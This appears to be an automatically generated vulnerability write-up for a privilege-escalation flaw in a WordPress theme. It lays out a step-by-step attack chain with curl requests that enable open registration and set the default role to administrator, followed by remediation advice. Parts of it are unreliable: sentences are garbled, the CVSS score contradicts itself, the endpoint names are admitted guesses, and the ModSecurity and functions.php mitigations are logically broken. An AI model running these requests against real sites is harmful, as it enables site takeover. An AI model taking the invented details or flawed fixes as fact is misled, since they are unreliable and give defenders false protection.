CVE-2026-123654 — Unknown Themify Base — CWE-269
Themify Base WordPress theme through 1.2.4 does not perform capability checks on its option save and read AJAX actions, which are protected only by a generic nonce that other commonly expose on the front end, allowing users with a role as low as Subscriber to update arbitrary blog options such as the default role and open registration, and gain administrator access when such a is active.
Themify Base WordPress theme through 1.2.4 does not perform capability checks on its option save and read AJAX actions, which are protected only by a generic nonce that other commonly expose on the front end, allowing users with a role as low as Subscriber to update arbitrary blog options such as the default role and open registration, and gain administrator access when such a is active.
🎯 What is this vulnerability?
CWE‑269 – Improper Privilege Management
Themify Base (WordPress theme) versions ≤ 1.2.4 expose two AJAX actions that read and write theme options:
| Action | Endpoint | Protection |
|---|---|---|
themify_base_save_options | wp-admin/admin-ajax.php | Only a generic WordPress nonce that is rendered on the front‑end |
themify_base_get_options | wp-admin/admin-ajax.php | Same nonce |
The nonce is not tied to the user’s capability set. Consequently, any logged‑in user – even a Subscriber – can craft a request to these actions and change any option stored in wp_options.
Typical options that can be altered are:
users_can_register(boolean) – enables public registrationdefault_role(string) – role assigned to newly‑registered users
Because the theme does not perform a capability check (e.g., current_user_can( 'manage_options' )) before persisting the option, a low‑privileged user can:
1. Enable public registration (users_can_register = 1).
2. Set the default role to administrator.
3. Register a brand‑new account via /wp-login.php?action=register.
4. Log in as an administrator.
The flaw is purely an authorization bypass; no authentication is required beyond the fact that the user is logged in (any role). The CVSS score of 0/10 reflects that the vulnerability alone does not grant direct access to sensitive data or code execution; however, the impact is severe because it enables privilege escalation.
⚡ Attack Chain
NOTE: The following example uses the most common WordPress AJAX pattern (admin-ajax.php) and generic action names that are typical for Themify Base. If the actual action names differ, the same logic applies – the attacker must discover the correct action names via reconnaissance.1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| a. Identify theme | GET /wp-content/themes/themify-base/style.css or GET /wp-json/wp/v2/themes?slug=themify-base | Look for Version: 1.2.4 in the CSS header or JSON response. |
| b. Find exposed nonce | View page source on any front‑end page | Search for wp_create_nonce( 'themify_base_nonce' ) or similar. |
| c. Enumerate AJAX actions | Inspect JavaScript files (themify-base.js) | Look for ajaxurl or themify_base_ajax objects that call themify_base_save_options. |
2. Exploitation
2.1. Crafting the malicious request
The attacker logs in as a Subscriber (any role that can access the front‑end). They then send a POST request to the AJAX endpoint:
curl -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "wordpress_logged_in=YOUR_COOKIE" \
-d "action=themify_base_save_options" \
-d "nonce=EXPOSED_NONCE" \
-d "option_name=users_can_register" \
-d "option_value=1" \
https://victim.com/wp-admin/admin-ajax.phpIllustrative example – the exactactionandnoncenames may differ; the attacker must discover them during reconnaissance.
The same request can be used to change the default role:
curl -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "wordpress_logged_in=YOUR_COOKIE" \
-d "action=themify_base_save_options" \
-d "nonce=EXPOSED_NONCE" \
-d "option_name=default_role" \
-d "option_value=administrator" \
https://victim.com/wp-admin/admin-ajax.phpResult: users_can_register is set to 1 (public registration enabled). default_role is set to administrator.
2.2. Registering a new admin account
With public registration enabled, the attacker visits:
https://victim.com/wp-login.php?action=registerThey fill in a username, email, and password. Because default_role is now administrator, the newly created account receives full admin privileges.
2.3. Logging in
The attacker logs in with the freshly created credentials:
https://victim.com/wp-login.phpThey now have administrator access.
3. Post‑exploitation
wp_users table to add backdoors.🌍 Real World Impact
| Impact | Assessment |
|---|---|
| Confidentiality | High – attacker can read all content, including private posts and user data. |
| Integrity | High – attacker can modify any post, page, or option, potentially defacing the site or injecting malware. |
| Availability | Medium – while the vulnerability itself does not crash the site, the attacker could disable services or delete content, causing downtime. |
Practical consequences for a typical WordPress site:
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed |
|---|---|
| Themify Base ≤ 1.2.4 | Upgrade to 1.2.5 or later (the patch adds proper capability checks to the AJAX actions). |
Recommendation: Immediately upgrade the theme. If an upgrade is not possible, apply the following mitigations.
2. Workarounds
| Mitigation | How to implement |
|---|---|
| Block the vulnerable AJAX actions for non‑admin users | Add the following to .htaccess (Apache) or nginx config: <br>``<br>RewriteEngine On<br>RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php$ [NC]<br>RewriteCond %{QUERY_STRING} action=themify_base_save_options [NC]<br>RewriteCond %{REMOTE_USER} !admin [NC]<br>RewriteRule ^ - [F,L]<br>` |
| Disable public registration | Settings → General → Membership → uncheck “Anyone can register”. |
| Remove the exposed nonce from front‑end | Edit theme files to remove wp_create_nonce( 'themify_base_nonce' ) from the rendered page. |
| Restrict AJAX access to logged‑in users | In functions.php, add: <br>`php<br>add_action( 'wp_ajax_nopriv_themify_base_save_options', 'wp_die' );<br>add_action( 'wp_ajax_nopriv_themify_base_get_options', 'wp_die' );<br>`` |
3. Detection
| Indicator | Log pattern | How to search |
|---|---|---|
| Suspicious AJAX calls | POST /wp-admin/admin-ajax.php with action=themify_base_save_options | grep -i "themify_base_save_options" /var/log/apache2/access.log |
| New admin accounts | INSERT INTO wp_users with user_role = 'administrator' | grep -i "administrator" /var/log/mysql/mysql.log |
| Public registration enabled | UPDATE wp_options SET option_value='1' WHERE option_name='users_can_register' | grep -i "users_can_register" /var/log/mysql/mysql.log |
4. WAF / ModSecurity rule (Illustrative)
# Block non‑admin AJAX requests to Themify Base
SecRule REQUEST_URI "@beginsWith /wp-admin/admin-ajax.php" \
"chain,phase:2,block,msg:'Themify Base AJAX privilege bypass'"
SecRule REQUEST_URI "@contains action=themify_base_save_options" \
"chain"
SecRule REMOTE_USER "@contains admin" "t:none,allow"
SecRule REMOTE_USER "@contains admin" "t:none,block"Note: Adjust the rule to match your environment and ensure it does not block legitimate admin AJAX calls.
⚠️ Urgency
CVSS score: 0/10 (official score) – but* the vulnerability’s real‑world impact is critical because it allows privilege escalation from any logged‑in user to administrator.
Patch priority: High.
By following the remediation steps and monitoring for the described indicators, you can prevent attackers from exploiting this privilege‑escalation flaw and protect the confidentiality, integrity, and availability of your WordPress site.
[🤖 CVE Professor AI Security Engine]
FOFA Query